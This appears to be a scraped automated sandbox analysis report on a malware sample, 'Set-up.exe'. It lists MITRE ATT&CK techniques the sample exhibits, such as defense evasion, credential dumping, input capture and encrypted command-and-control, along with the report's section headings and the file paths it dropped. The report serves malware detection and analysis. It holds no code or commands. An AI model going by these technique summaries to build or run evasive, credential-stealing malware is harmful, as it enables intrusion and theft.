Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Set-up.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\u

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Alabama

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Betting

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Biz

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Build

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Career

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Crossword

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Den

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Diving

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Drawings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Generation

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Getting

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Important

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Jon

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Lender

Windows Analysis Report
Set-up.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre